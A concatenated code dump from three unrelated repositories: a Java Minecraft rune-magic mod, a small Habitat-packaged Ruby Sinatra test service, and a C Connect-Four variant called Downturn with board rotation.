private void alertBrokenLink(@NotNull Vec3Int brokenLink, EntityPlayer player) {
player.addChatMessage(new ChatComponentText("The energy builds up, but lacks containment. The energy disappears"));
String fmtX = brokenLink.x < 0 ? (-brokenLink.x + " blocks west") : (brokenLink.x + " blocks east");
String fmtZ = brokenLink.z < 0 ? (-brokenLink.z + " blocks north") : (brokenLink.z + " blocks south");
player.addChatMessage(new ChatComponentText("(Containment circle lacking component " + fmtX + ", " + fmtZ + ")"));
}
private void activateRune(@NotNull Rune match, @NotNull GlobalCoord coords, int radius, int focusRating, int containmentRating, EntityPlayer player) throws ExecutionException {
RuneZone zone = new RuneZone(coords, radius, player);
int effectStrength = calculateEffectStrength(radius, focusRating, containmentRating);
EffectZone effectZone = new EffectZone(coords, effectStrength, radius * Math.min(focusRating, containmentRating));
Effect effect = match.makeEffect(zone, effectZone);
zone.setAssociatedEffect(effect);
effectZone.setAssociatedEffect(effect);
player.addChatMessage(new ChatComponentText(match.getName()));
checkForModificators(coords.getWorld(), coords.getX(), coords.getY() - 1, coords.getZ(), radius, effect, player);
Lively.INSTANCE.effectZoneLookup.addEffectZone(effectZone);
Lively.INSTANCE.runeZoneLookup.add(zone);
}
private void checkForModificators(World world, int x, int y, int z, int radius, Effect parent, EntityPlayer player) {
checkForModificators(world, x, y, z, radius, parent, player, 2);
}
private void checkForModificators(World world, int x, int y, int z, int radius, Effect parent, EntityPlayer player, int indentationLevel) {
Block inCircle = world.getBlock(x + radius, y, z);
Block nextOut = world.getBlock(x + radius + 1, y, z);
if (isValidContainmentBlock(inCircle) && isValidContainmentBlock(nextOut) && !isFocusBlock(inCircle)) {
scanForModificatorRune(world, x + radius + 1, y, z, Direction.EAST, parent, player, indentationLevel);
}
inCircle = world.getBlock(x - radius, y, z);
nextOut = world.getBlock(x - radius - 1, y, z);
if (isValidContainmentBlock(inCircle) && !isFocusBlock(inCircle) && isValidContainmentBlock(nextOut)) {
scanForModificatorRune(world, x - radius - 1, y, z, Direction.WEST, parent, player, indentationLevel);
}
inCircle = world.getBlock(x, y, z + radius);
nextOut = world.getBlock(x, y, z + radius + 1);
if (isValidContainmentBlock(inCircle) && !isFocusBlock(inCircle) && isValidContainmentBlock(nextOut)) {
scanForModificatorRune(world, x, y, z + radius + 1, Direction.SOUTH, parent, player, indentationLevel);
}
inCircle = world.getBlock(x, y, z - radius);
nextOut = world.getBlock(x, y, z - radius - 1);
if (isValidContainmentBlock(inCircle) && !isFocusBlock(inCircle) && isValidContainmentBlock(nextOut)) {
scanForModificatorRune(world, x, y, z - radius - 1, Direction.NORTH, parent, player, indentationLevel);
}
}
private void scanForModificatorRune(World world, int x, int y, int z, Direction direction, Effect parent, EntityPlayer player, int indentationLevel) {
Block block = world.getBlock(x, y, z);
while (isValidContainmentBlock(block) && !isFocusBlock(block)) {
x += direction.dx;
z += direction.dz;
block = world.getBlock(x, y, z);
}
if (!isFocusBlock(world.getBlock(x, y, z))) {
player.addChatMessage(new ChatComponentText(spaces(indentationLevel) + "No terminating focus block"));
return;
}
x += direction.dx;
z += direction.dz;
int radius;
for (radius = 1; radius <= MAX_FOCUS_RADIUS; radius++) {
if (isFocusBlock(world.getBlock(x, y, z))) {
break;
}
x += direction.dx;
z += direction.dz;
}
if (!isFocusBlock(world.getBlock(x, y, z))) {
player.addChatMessage(new ChatComponentText(spaces(indentationLevel) + "No central focus block"));
return;
}
Result<Integer, Vec3Int> circle = matchCircle(world, new Vec3Int(x, y, z), radius);
if (!circle.isOk()) {
player.addChatMessage(new ChatComponentText(spaces(indentationLevel) + "No complete circle"));
return;
}
boolean[][] runeBlocks = loadRune(world, x, y + 1, z, radius, direction.invert());
Optional<Rune> match = Lively.INSTANCE.runeRegistry.match(runeBlocks);
if (!match.isPresent()) {
player.addChatMessage(new ChatComponentText(spaces(indentationLevel) + "Unknown rune"));
return;
}
RuneZone zone = new RuneZone(new GlobalCoord(world, x, y + 1, z), radius, player);
Effect effect = match.get().makeEffect(zone, parent);
zone.setAssociatedEffect(effect);
player.addChatMessage(new ChatComponentText(spaces(indentationLevel) + match.get().getName()));
Lively.INSTANCE.runeZoneLookup.add(zone);
checkForModificators(world, x, y, z, radius, effect, player, indentationLevel + 2);
}
private String spaces(int amt) {
char[] array = new char[amt];
Arrays.fill(array, ' ');
return new String(array);
}
/**
* Checks whether a complete circle made out of containment blocks exists around the specified center position
*
* @param world The world where the center is placed
* @param center The center of the circle
* @param radius The radius of the circle
* @return Either a Vec3Int containing the bad position relative to the center, or the minimal containment rating of the circle
*/
@NotNull
private Result<Integer, Vec3Int> matchCircle(@NotNull World world, @NotNull Vec3Int center, int radius) {
// See https://en.wikipedia.org/wiki/Midpoint_circle_algorithm#Example
int x = radius;
int z = 0;
int flag = 1 - x;
int minRating = Integer.MAX_VALUE;
while (x >= z) { // welcome to typo central
if (!isValidContainmentBlock(world.getBlock(center.x + x, center.y, center.z + z)))
return Result.fail(new Vec3Int(x, 0, z));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x + x, center.y, center.z + z)));
if (!isValidContainmentBlock(world.getBlock(center.x + z, center.y, center.z + x)))
return Result.fail(new Vec3Int(z, 0, x));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x + z, center.y, center.z + x)));
if (!isValidContainmentBlock(world.getBlock(center.x - x, center.y, center.z + z)))
return Result.fail(new Vec3Int(-x, 0, z));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x - x, center.y, center.z + z)));
if (!isValidContainmentBlock(world.getBlock(center.x - z, center.y, center.z + x)))
return Result.fail(new Vec3Int(-z, 0, x));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x - z, center.y, center.z + x)));
if (!isValidContainmentBlock(world.getBlock(center.x + x, center.y, center.z - z)))
return Result.fail(new Vec3Int(x, 0, -z));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x + x, center.y, center.z - z)));
if (!isValidContainmentBlock(world.getBlock(center.x + z, center.y, center.z - x)))
return Result.fail(new Vec3Int(z, 0, -x));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x + z, center.y, center.z - x)));
if (!isValidContainmentBlock(world.getBlock(center.x - x, center.y, center.z - z)))
return Result.fail(new Vec3Int(-x, 0, -z));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x - x, center.y, center.z - z)));
if (!isValidContainmentBlock(world.getBlock(center.x - z, center.y, center.z - x)))
return Result.fail(new Vec3Int(-z, 0, -x));
else minRating = Math.min(minRating, containmentRatings.get(world.getBlock(center.x - z, center.y, center.z - x)));
z++;
if (flag <= 0) {
flag += 2 * z + 1;
} else {
x--;
flag += 2 * (z - x) + 1;
}
}
return Result.ok(minRating);
}
@NotNull
private boolean[][] loadRune(@NotNull World world, int centerX, int centerY, int centerZ, int radius, @NotNull Direction alignment) {
boolean[][] runeBlocks = new boolean[2 * radius + 1][2 * radius + 1];
for (int x = 0; x < runeBlocks.length; x++) {
for (int z = 0; z < runeBlocks.length; z++) {
boolean inCircle = (radius - x) * (radius - x) + (radius - z) * (radius - z) <= radius * radius;
boolean isRune = world.getBlock(centerX - radius + x, centerY, centerZ - radius + z) == this;
System.out.println("Checking block at " + (x - radius) + ", " + (z - radius) + " :: inCircle=" + inCircle + "/isRune=" + isRune);
int arrayX;
int arrayZ;
switch (alignment) {
case NORTH:
arrayX = x;
arrayZ = z;
break;
case SOUTH:
arrayX = runeBlocks.length - x - 1;
arrayZ = runeBlocks.length - z - 1;
break;
case EAST:
arrayX = z;
arrayZ = runeBlocks.length - x - 1;
break;
case WEST:
default:
arrayX = runeBlocks.length - z - 1;
arrayZ = x;
break;
}
runeBlocks[arrayZ][arrayX] = inCircle && isRune;
}
}
return ArrayUtil.trim(runeBlocks);
}
private boolean isValidContainmentBlock(Block blk) {
return isFocusBlock(blk) || containmentRatings.containsKey(blk);
}
private boolean isFocusBlock(@NotNull Block blk) {
return focusRatings.containsKey(blk);
}
/**
* Finds a closest alignment block in one of the 4 cardinal directions
*
* @param x The x position of the center
* @param y The y position of the center
* @param z The z position of the center
* @param world The world to check in
* @return The Vec3Int containing the position of the alignment block, or <code>null</code>
*/
@NotNull
private Optional<Vec3Int> findAlignmentBlock(int x, int y, int z, @NotNull World world) {
for (int i = 1; i < MAX_FOCUS_RADIUS; i++) {
if (isFocusBlock(world.getBlock(x - i, y, z))) {
return Optional.of(new Vec3Int(x - i, y, z));
}
if (isFocusBlock(world.getBlock(x + i, y, z))) {
return Optional.of(new Vec3Int(x + i, y, z));
}
if (isFocusBlock(world.getBlock(x, y, z - i))) {
return Optional.of(new Vec3Int(x, y, z - i));
}
if (isFocusBlock(world.getBlock(x, y, z + i))) {
return Optional.of(new Vec3Int(x, y, z + i));
}
}
return Optional.empty();
}
@Override
public void onNeighborBlockChange(@NotNull World world, int x, int y, int z, @NotNull Block block) {
if (world.isRemote) return;
if (!world.getBlock(x, y - 1, z).isOpaqueCube()) {
// world.breakBlock(coords, true=drop item)
world.func_147480_a(x, y, z, true);
}
}
@Override
public void breakBlock(@NotNull World world, int x, int y, int z, @Nullable Block block, int idonteven) {
super.breakBlock(world, x, y, z, block, idonteven);
Lively.INSTANCE.runeZoneLookup.getZoneWithPosition(new GlobalCoord(world, x, y, z)).ifPresent(zone -> zone.getAssociatedEffect().remove());
}
private int calculateEffectStrength(int radius, int focusPower, int containmentPower) {
return (int) Math.round(Math.min(radius * radius * focusPower, radius * radius * containmentPower) / 10.0);
}
}
<file_sep>package net.boreeas.lively.util;
import io.netty.buffer.ByteBuf;
import org.jetbrains.annotations.NotNull;
/**
* @author <NAME>
*/
public class Vec3Int {
public final int x, y, z;
public Vec3Int(int x, int y, int z) {
this.x = x;
this.y = y;
this.z = z;
}
public Vec3Int(@NotNull ByteBuf byteBuf) {
this.x = byteBuf.readInt();
this.y = byteBuf.readInt();
this.z = byteBuf.readInt();
}
public @NotNull Vec3Int dx(int dx) {
return new Vec3Int(x + dx, y, z);
}
public @NotNull Vec3Int dy(int dy) {
return new Vec3Int(x, y + dy, z);
}
public @NotNull Vec3Int dz(int dz) {
return new Vec3Int(x, y, z + dz);
}
public @NotNull Vec3Int add(int x, int y, int z) {
return new Vec3Int(this.x + x, this.y + y, this.z + z);
}
public @NotNull Vec3Int add(@NotNull Vec3Int other) {
return new Vec3Int(this.x + other.x, this.y + other.y, this.z + other.z);
}
@Override
public String toString() {
return "Vec3Int[x=" + x + ",y=" + y + ",z=" + z + "]";
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Vec3Int vec3Int = (Vec3Int) o;
if (x != vec3Int.x) return false;
if (y != vec3Int.y) return false;
return z == vec3Int.z;
}
@Override
public int hashCode() {
int result = x;
result = 31 * result + y;
result = 31 * result + z;
return result;
}
public void serialize(ByteBuf byteBuf) {
byteBuf.writeInt(x);
byteBuf.writeInt(y);
byteBuf.writeInt(z);
}
}
<file_sep>package net.boreeas.lively.runeforge;
import net.boreeas.lively.util.GlobalCoord;
import org.jetbrains.annotations.NotNull;
/**
* @author <NAME>
*/
public class Zone {
private GlobalCoord coords;
private int radius;
public Zone(@NotNull GlobalCoord coords, int radius) {
this.coords = coords;
this.radius = radius;
}
public int getRadius() {
return radius;
}
public @NotNull GlobalCoord getCoords() {
return coords;
}
public boolean contains(@NotNull GlobalCoord coords) {
if (coords.getWorld() != this.coords.getWorld() || coords.getY() != this.coords.getY()) {
return false;
}
int dx = coords.getX() - this.coords.getX();
int dz = coords.getZ() - this.coords.getZ();
return dx*dx + dz*dz <= radius*radius;
}
}
<file_sep>package net.boreeas.lively.runeforge;
import net.boreeas.lively.util.ArrayUtil;
import org.jetbrains.annotations.NotNull;
/**
* @author <NAME>
*/
public abstract class Rune {
private String name;
private boolean[][] flags;
public Rune(@NotNull String name, @NotNull String... format) {
this.name = name;
flags = new boolean[format.length][format[0].length()];
for (int i = 0; i < format.length; i++) {
for (int j = 0; j < format[i].length(); j++) {
flags[i][j] = (format[i].charAt(j) != ' ');
}
}
this.flags = ArrayUtil.trim(flags);
/*
System.out.println("rune dump # " + name);
ArrayUtil.dump(flags);
//*/
}
public abstract @NotNull Effect makeEffect(@NotNull RuneZone zone);
public abstract @NotNull Effect makeEffect(@NotNull RuneZone zone, @NotNull EffectZone associatedEffectZone);
public abstract @NotNull Effect makeEffect(@NotNull RuneZone zone, @NotNull Effect modTarget);
public @NotNull String getName() {
return name;
}
public int width() {
return height() > 0 ? flags[0].length : 0;
}
public int height() {
return flags.length;
}
public boolean isSet(int x, int z) {
return flags[z][x];
}
boolean[][] getFlags() {
return flags;
}
}
|
d5d3ff0f8910298f3f7fe64ebea2cfb4855f7339
|
[
"Java",
"Gradle"
] | 22 |
Java
|
strangeglyph/Minecraft-mods
|
1c34a66187c8ab9d8c425b52102aed3a3d3f2252
|
0936e4e5288449530ebdeec23a5bce2dac2bd2cc
|
refs/heads/master
|
<file_sep>pkg_name=lb-test
pkg_origin=gscho
pkg_version="0.1.0"
pkg_maintainer="The Habitat Maintainers <<EMAIL>>"
pkg_license=("MIT")
pkg_deps=(core/ruby25 core/curl)
pkg_build_deps=(core/bundler)
do_build(){
return 0
}
do_install(){
bundle install --path ./vendor/bundle
cp -R . "$pkg_prefix/"
}
<file_sep>#!/bin/bash
exec 2>&1
export GEM_PATH="{{pkg.path}}/vendor/bundle/ruby/2.5.0"
exec ruby {{pkg.path}}/lb-test.rb
<file_sep>require 'sinatra'
require 'socket'
set :bind, '0.0.0.0'
get '/' do
"Hi!, I'm #{Socket.gethostname}"
end
get '/health' do
'OK'
end
<file_sep># Habitat package: lb-test
## Description
Provide a brief description of the `lb-test` plan / purpose.
## Usage
Describe the general usage for the `lb-test` plan
|
90e9e22dbb374f7dc4ef9543fee791b97c5af0db
|
[
"Markdown",
"Shell",
"Ruby"
] | 4 |
Markdown
|
gscho/lb-test
|
376473e30fc97db077e61bc5e68b8ccaf06e3126
|
d6547e84290ecca912f135cd5556b430be302596
|
refs/heads/master
|
<repo_name>lilyehsani/downturn<file_sep>/src/pos.c
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#include <stdlib.h>
#include <stdio.h>
#include "../include/pos.h"
pos make_pos(unsigned int r, unsigned int c) {
pos res;
res.r = r;
res.c = c;
return res;
}
<file_sep>/include/pos.h
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#ifndef POS_H
#define POS_H
struct pos {
unsigned int r, c;
};
typedef struct pos pos;
/* make_pos: outputs a position with the given row and column values */
pos make_pos(unsigned int r, unsigned int c);
#endif /* POS_H */
<file_sep>/src/logic.c
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#include <stdlib.h>
#include <stdio.h>
#include "../include/pos.h"
#include "../include/board.h"
#include "../include/logic.h"
game* new_game(unsigned int run, unsigned int width, unsigned int height,
enum type type) {
/* checking if the given run works with the given dimensions */
if (run <= 1) {
fprintf(stderr, "new_game: run must be greater than 1");
exit(1);
}
if (run > width && run > height) {
fprintf(stderr, "new_game: run cannot be greater than both width "
"and height. r=%d, w=%d, h=%d", run, width, height);
exit(1);
}
/* begin function */
game* res = (game*)malloc(sizeof(game));
res->run = run;
res->b = board_new(width, height, type);
res->next = BLACK_NEXT;
return res;
}
void game_free(game* g) {
board_free(g->b);
free(g);
}
/* drop_any_piece: observing the laws of gravity, alters the given board
* by dropping a piece of the given cell color into the given column.
* outputs 0 if the column is full, 1 if the piece was dropped */
int drop_any_piece(board* b, unsigned int col, cell c) {
int i = b->height - 1; /* index of the lowest row */
while (board_get(b, make_pos(i, col)) != EMPTY) {
i--;
if (i < 0) { /* if row 0 is also full, i becomes -1 */
return 0;
}
}
board_set(b, make_pos(i, col), c);
return 1;
}
int drop_piece(game* g, unsigned int col) {
cell c;
if (g->next == BLACK_NEXT) {
c = BLACK;
} else {
c = WHITE;
}
return drop_any_piece(g->b, col, c);
}
void twist(game* g, direction d) {
unsigned int orig_h = g->b->height, orig_w = g->b->width;
board* res = board_new(orig_h, orig_w, MATRIX);
unsigned int i, j;
for (j = 0; j < orig_w; j++) {
for (i = 0; i < orig_h; i++) {
if (d == CCW) {
cell c = board_get(g->b, make_pos((orig_h - 1 - i), j));
if (c == EMPTY) {
} else {
drop_any_piece(res, (orig_h - 1 - i), c);
}
}
if (d == CW) {
cell c = board_get(g->b, make_pos((orig_h - 1 - i),
(orig_w - 1 - j)));
if (c == EMPTY) {
} else {
drop_any_piece(res, i, c);
}
}
}
}
g->b = res;
}
/* board_full: outputs 1 iff all columns in the given board are full,
* 0 otherwise. helper for game_outcome */
int board_full(game* g) {
int i = g->b->width - 1;
while (board_get(g->b, make_pos(0, i)) != EMPTY) {
i--;
if (i < 0) {
return 1;
}
}
return 0;
}
/* vertical: outputs 1 iff the given cell color has a winning vertical
* run in the given game g. helper for game_outcome */
int vertical(game* g, cell p) {
if (g->run > g->b->height) {
return 0;
}
int r, c;
for (c = 0; c < g->b->width; c++) {
for (r = g->b->height - 1; r >= g->run - 1; r--) {
unsigned int count = 0, i = r;
while (board_get(g->b, make_pos(i, c)) == p) {
count++;
i--;
if (count == g->run) {
return 1;
}
}
}
}
return 0;
}
/* horizontal: outputs 1 iff the given cell color has a winning horizontal
* run in the given game g. helper for game_outcome */
int horizontal(game* g, cell p) {
if (g->run > g->b->width) {
return 0;
}
int r, c;
for (r = g->b->height - 1; r >= 0; r--) {
for (c = 0; c <= (g->b->width - g->run); c++) {
unsigned int count = 0, j = c;
while (board_get(g->b, make_pos(r, j)) == p) {
count++;
j++;
if (count == g->run) {
return 1;
}
}
}
}
return 0;
}
/* diagonal_pos: outputs 1 iff the given cell color has a winning diagonal
* run in the given game g. pos indicates a positive slope on an xy grid.
* helper for game_outcome */
int diagonal_pos(game* g, cell p) {
if (g->run > g->b->width || g->run > g->b->height) {
return 0;
}
int r, c;
for (r = g->b->height - 1; r >= g->run - 1; r--) {
for (c = 0; c <= (g->b->width - g->run); c++) {
unsigned int count = 0, i = r, j = c;
while (board_get(g->b, make_pos(i, j)) == p) {
count++;
i--;
j++;
if (count == g->run) {
return 1;
}
}
}
}
return 0;
}
/* diagonal_neg: outputs 1 iff the given cell color has a winning diagonal
* run in the given game g. neg indicates a negative slope on an xy grid.
* helper for game_outcome */
int diagonal_neg(game* g, cell p) {
if (g->run > g->b->width || g->run > g->b->height) {
return 0;
}
int r, c;
for (r = g->b->height - 1; r >= g->run - 1; r--) {
for (c = g->b->width - 1; c >= g->run - 1; c--) {
unsigned int count = 0, i = r, j = c;
while (board_get(g->b, make_pos(i, j)) == p) {
count++;
i--;
j--;
if (count == g->run) {
return 1;
}
}
}
}
return 0;
}
/* win: outputs 1 iff the given cell color has a winning run in any
* direction. helper for game_outcome */
int win(game* g, cell p) {
return (vertical(g, p) || horizontal(g, p) || diagonal_pos(g, p) ||
diagonal_neg(g, p));
}
outcome game_outcome(game* g) {
if (win(g, WHITE) && win(g, BLACK)) {
return DRAW;
} else if (win(g, BLACK)) {
return BLACK_WIN;
} else if (win(g, WHITE)) {
return WHITE_WIN;
} else if (board_full(g)) {
return DRAW;
} else {
return IN_PROGRESS;
}
}
<file_sep>/src/board.c
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include "../include/pos.h"
#include "../include/board.h"
/* num_ints: outputs the amount of ints necessary for an array of the
* given amount of bits (calls) */
unsigned int num_ints(unsigned int bits) {
unsigned int count = 1;
while (bits >= 16) {
count++;
bits = bits - 16;
}
return count;
}
board* board_new(unsigned int width, unsigned int height, enum type type) {
/* checking that the given dimensions are appropriate */
if (width == 0) {
fprintf(stderr, "board_new: cannot have a width of 0");
exit(1);
}
if (height == 0) {
fprintf(stderr, "board_new: cannot have a height of 0");
exit(1);
}
if (height < 2 && width < 2) {
fprintf(stderr, "board_new: board must be larger than 1x1");
exit(1);
}
/* begin function */
board* res = (board*)malloc(sizeof(board));
res->width = width;
res->height = height;
res->type = type;
if (type == MATRIX) {
cell** m = (cell**)malloc(sizeof(cell*) * height);
unsigned int r, c;
for (r = 0; r < height; r++) {
m[r] = (cell*)malloc(sizeof(cell) * width);
for (c = 0; c < width; c++) {
m[r][c] = EMPTY;
}
}
res->u.matrix = m;
} else { /* if (type == BITS) */
unsigned int cells, elems, i;
cells = (width * height); /* total # of cells on board */
elems = num_ints(cells); /* # of elements in array */
unsigned int* b = (unsigned int*)malloc(sizeof(unsigned int)
* elems);
for (i = 0; i < elems; i++) {
b[i] = 0;
}
res->u.bits = b;
}
return res;
}
void board_free(board* b) {
if (b->type == MATRIX) {
unsigned int i, rows = b->height;
for (i = 0; i < rows; i++) {
free(b->u.matrix[i]);
}
} else { /* if (type == BITS) */
free(b->u.bits);
}
free(b);
}
/* print_right_char: prints the correct char for the given board index */
void print_right_char(unsigned int cmp) {
if (cmp < 10) {
printf("%d", cmp);
} else if (cmp < 36) {
printf("%c", (cmp + 55));
} else if (cmp < 62) {
printf("%c", (cmp + 61));
} else {
printf("?");
}
}
void board_show(board* b) {
printf(" ");
unsigned int w = b->width, h = b->height;
unsigned int r, c;
for (c = 0; c < w; c++) {
print_right_char(c);
}
printf("\n\n");
for (r = 0; r < h; r++) {
print_right_char(r);
printf(" ");
for (c = 0; c < w; c++) {
switch (board_get(b, make_pos(r, c))) {
case EMPTY:
printf(".");
break;
case BLACK:
printf("*");
break;
case WHITE:
printf("o");
break;
}
}
printf("\n");
}
}
/* get_cell_bits: uses bitwise operators to retrieve the type of cell
* at the given index (0 being the rightmost digits in the int, 1 the
* next rightmost, etc) in the given int (00 for EMPTY, 01 for BLACK,
* 10 for WHITE). */
unsigned int get_cell_bits(unsigned int x, unsigned int index) {
x = x >> (index * 2);
x = x & 3;
return x;
}
/* put_cell_bits: uses bitwise operators to input the cell bits of
* the given color in the given int at the given index, as
* specified above */
unsigned int put_cell_bits(unsigned int x, unsigned int index,
unsigned int color) {
unsigned int mask, new;
mask = 3 << (index * 2);
mask = ~mask;
new = x & mask;
new = new | (color << (index * 2));
return new;
}
cell board_get(board* b, pos p) {
/* checking if the given position is appropriate with the dimensions */
if (p.c >= b->width) {
fprintf(stderr, "board_get: column position out of bounds");
}
if (p.r >= b->height) {
fprintf(stderr, "board_get: row position out of bounds");
}
/* begin function */
cell res;
if (b->type == MATRIX) {
res = b->u.matrix[p.r][p.c];
} else { /* if (type == BITS) */
unsigned int elems, index_of_cell, index_of_elem,
index_of_cell_in_elem, x;
elems = num_ints(b->width * b->height);
index_of_cell = (p.r * b->width) + p.c;
index_of_elem = (num_ints(index_of_cell) - 1);
index_of_cell_in_elem = (index_of_cell - (index_of_elem * 16));
x = get_cell_bits(b->u.bits[index_of_elem], index_of_cell_in_elem);
switch (x) {
case 0:
res = EMPTY;
break;
case 1:
res = BLACK;
break;
case 2:
res = WHITE;
break;
}
}
return res;
}
void board_set(board* b, pos p, cell c) {
/* checking if the given position is appropriate with the dimensions */
if (p.c >= b->width) {
fprintf(stderr, "board_set: column position out of bounds");
}
if (p.r >= b->height) {
fprintf(stderr, "board_set: row position out of bounds");
}
/* begin function */
if (b->type == MATRIX) {
b->u.matrix[p.r][p.c] = c;
} else { /* if (type == BITS) */
unsigned int elems, index_of_cell, index_of_elem, x, color;
elems = num_ints(b->width * b->height);
index_of_cell = (p.r * b->width) + p.c;
index_of_elem = (num_ints(index_of_cell) - 1);
switch (c) {
case EMPTY:
color = 0;
break;
case BLACK:
color = 1;
break;
case WHITE:
color = 2;
break;
}
x = put_cell_bits(b->u.bits[index_of_elem],
(index_of_cell - (index_of_elem * 16)),
color);
b->u.bits[index_of_elem] = x;
}
}
<file_sep>/Makefile
play: include/pos.h src/pos.c include/board.h src/board.c include/logic.h src/logic.c src/play.c
clang -Wall -g -O0 -o play src/pos.c src/board.c src/logic.c src/play.c
evidence: pos.h pos.c board.h board.c logic.h logic.c evidence.c
clang -Wall -g -O0 -o evidence pos.c board.c logic.c evidence.c
<file_sep>/include/board.h
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#ifndef BOARD_H
#define BOARD_H
#include "pos.h"
enum cell {
EMPTY,
BLACK,
WHITE
};
typedef enum cell cell;
union board_rep {
enum cell** matrix;
unsigned int* bits;
};
typedef union board_rep board_rep;
enum type {
MATRIX, BITS
};
struct board {
unsigned int width, height;
enum type type;
board_rep u;
};
typedef struct board board;
/* board_new: outputs a pointer to an empty board with the given dimensions
* of the given type */
board* board_new(unsigned int width, unsigned int height, enum type type);
/* board_free: frees the memory allocated for the given board pointer */
void board_free(board* b);
/* board_show: prints the given board to the screen with the correct row
* and column labels, '*' representing a black piece, 'o' a white, and
* '.' an exmpty space */
void board_show(board* b);
/* board_get: outputs the cell (enumeration) of the given board at the
* given position */
cell board_get(board* b, pos p);
/* board_set: changes the given board to have the given cell at the given
* position, instead of whatever cell was there before */
void board_set(board* b, pos p, cell c);
#endif /* BOARD_H */
<file_sep>/src/play.c
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#include <stdlib.h>
#include <stdio.h>
#include "string.h"
#include "../include/pos.h"
#include "../include/board.h"
#include "../include/logic.h"
/* ASCII Art */
void print_row()
{
unsigned int i;
for (i = 0; i < 21; i++) {
printf("-");
}
}
void print_welcome()
{
printf("*");
print_row();
printf("*\n|");
print_row();
printf("|\n|--| WELCOME TO |--|\n|--|D O W N T U R N|--|\n|");
print_row();
printf("|\n*");
print_row();
printf("*\n");
printf("Black pieces look like this: *\nWhite pieces look like this: "
"o\nDrop your pieces by typing in their column index and "
"hitting enter.\nTurn the board clockwise by typing > and "
"hitting enter.\nTurn the board counterclockwise by typing < "
"and hitting enter.\nTo exit the game, type q and hit enter.\n");
}
void print_goodbye()
{
printf("Game invented by Dr. <NAME>; implemented by <NAME>."
"\nSpecial thanks to Professors Shaw and Wachs for inspiring me "
"\nto pursue computer science!\n");
}
/* begin backend */
int do_turn(game* g) {
/* assign place for input char */
char ch;
/* print which turn */
switch (g->next) {
case BLACK_NEXT:
printf("Black:\n");
break;
case WHITE_NEXT:
printf("White:\n");
break;
}
/* assign inputted char */
scanf("%c%*c", &ch);
/* execute action based on inputted char */
if (ch == 'q') {
exit(0);
}
if (ch == '<') {
twist(g, CCW);
return 1;
}
if (ch == '>') {
twist(g, CW);
return 1;
}
if ((ch > 47 && ch < 58) || (ch > 64 && ch < 91) ||
(ch > 96 && ch < 123)) { /* if char is a valid index */
unsigned int col;
int res;
if (ch < 58) {
col = ch - 48; /* column index for digits */
} else if (ch > 64 && ch < 91) {
col = ch - 55; /* column index for uppercase letters */
} else {
col = ch - 61; /* column index for lowercase letters */
}
if (col >= g->b->width) { /* check if col is in bounds */
printf("Column out of bounds. Please input a column index "
"within the board.\n");
return 0;
}
res = drop_piece(g, col);
if (res == 0) { /* if dropping piece was unsuccessful */
printf("Column full. Please input a column index with "
"available space.\n");
}
return res; /* true if piece was dropped, false otherwise */
} else { /* if char is not a valid index or twist direction */
printf("Invalid input. Please specify a column index or twist "
"direction.\n");
return 0;
}
}
void print_outcome(outcome o) {
switch (o) {
case BLACK_WIN:
printf("Black wins! Thanks for playing.\n");
break;
case WHITE_WIN:
printf("White wins! Thanks for playing.\n");
break;
case DRAW:
printf("Draw! Thanks for playing.\n");
break;
case IN_PROGRESS:
printf("In progress. No winner yet.\n");
break;
default:
fprintf(stderr, "print_outcome: invalid outcome");
exit(1);
}
}
turn change_turn(game* g) {
if (g->next == BLACK_NEXT) {
return WHITE_NEXT;
} else {
return BLACK_NEXT;
}
}
void play_game(game* g) {
print_welcome(); /* ASCII art and rules */
printf("Get %d pieces in a row to win. Have fun!\n\n", g->run);
while (game_outcome(g) == IN_PROGRESS) {
board_show(g->b);
int res = do_turn(g);
while (res == 0) { /* repeats until turn is successful */
board_show(g->b);
res = do_turn(g);
}
g->next = change_turn(g);
}
board_show(g->b);
print_outcome(game_outcome(g));
print_goodbye();
}
/* main: takes in arguments for board width, height, run, and type,
* and creates and plays a game with those parameters */
int main(int argc, char *argv[]) {
unsigned int i, rep = -1, w = -1, h = -1, r = -1;
for (i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-w")) {
w = atoi(argv[i + 1]);
}
if (!strcmp(argv[i], "-h")) {
h = atoi(argv[i + 1]);
}
if (!strcmp(argv[i], "-r")) {
r = atoi(argv[i + 1]);
}
if (!strcmp(argv[i], "-m")) {
if (rep == -1) {
rep = MATRIX;
} else {
fprintf(stderr, "Please specify either -m or -b, not both.\n");
exit(1);
}
}
if (!strcmp(argv[i], "-b")) {
if (rep == -1) {
rep = BITS;
} else {
fprintf(stderr, "Please specify either -m or -b, not both.\n");
exit(1);
}
}
}
if (w == -1 || h == -1 || r == -1) {
fprintf(stderr, "Missing input. Please specify -w, -h, and -r, "
"each followed by an unsigned int.\n");
exit(1);
}
if (rep != MATRIX && rep != BITS) {
fprintf(stderr, "Missing input. Please specify -b or -m for bits "
"or matrix board representation, respectively.\n");
exit(1);
}
game* g = new_game(r, w, h, (rep == MATRIX)? MATRIX:BITS);
play_game(g);
return 0;
}
<file_sep>/README.md
# Downturn
Connect Four with a twist.
Download everything, run "make".
Run "./play -w \<width\> -h \<height\> -r \<run\> \<-m or -b\>".
"run" is how many pieces in a row a play has to get to win.
"-m" or "-b" indicates whether data is held in a matrix or bits. This has no effect on gameplay.
Example: Normal Connect 4 would look like this: ```./play -w 7 -h 6 -r 4 -b```
<file_sep>/include/play.h
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#ifndef PLAY_H
#define PLAY_H
#include "logic.h"
/* do_turn: executes a single turn based on given game and user input */
int do_turn(game* g);
/* print_outcome: prints an outcome message given an outcome */
